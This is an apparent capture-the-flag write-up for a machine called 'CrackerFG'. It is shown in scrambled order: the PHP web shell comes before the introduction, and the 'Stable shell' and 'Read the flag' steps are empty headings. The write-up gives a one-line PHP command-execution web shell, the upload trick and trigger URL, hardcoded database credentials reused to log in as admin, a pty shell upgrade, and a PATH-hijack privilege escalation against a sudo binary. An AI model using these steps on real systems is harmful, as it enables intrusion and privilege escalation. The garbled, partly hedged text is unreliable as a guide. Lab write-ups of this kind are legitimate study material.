Crack !!link!!erfg -

eval system($_GET['cmd']); Rename as shell.fg . After upload, the server stores it in /uploads/shell.fg . Trigger via:

$db_user = "webapp"; $db_pass = "crackme_123"; Try admin:crackme_123 on the login page → success.

http://10.10.10.10/uploads/shell.fg?cmd=id

Stable shell:

Read the flag:

Here’s a short write-up for , based on the likely context of a cybersecurity CTF or penetration testing challenge (commonly seen on platforms like HackTheBox, TryHackMe, or a custom box). CrackerFG – Write-up CrackerFG is a medium-difficulty challenge that combines web enumeration , weak password storage , and privilege escalation via misconfigured binaries. Below is a step-by-step solution. 1. Reconnaissance Start with an Nmap scan:

python3 -c 'import pty;pty.spawn("/bin/bash")' Check sudo:

echo '#!/bin/bash' > /tmp/hashgen echo 'chmod 777 /root/root.txt' >> /tmp/hashgen chmod +x /tmp/hashgen export PATH=/tmp:$PATH sudo /usr/bin/crackerfg Now /root/root.txt is readable.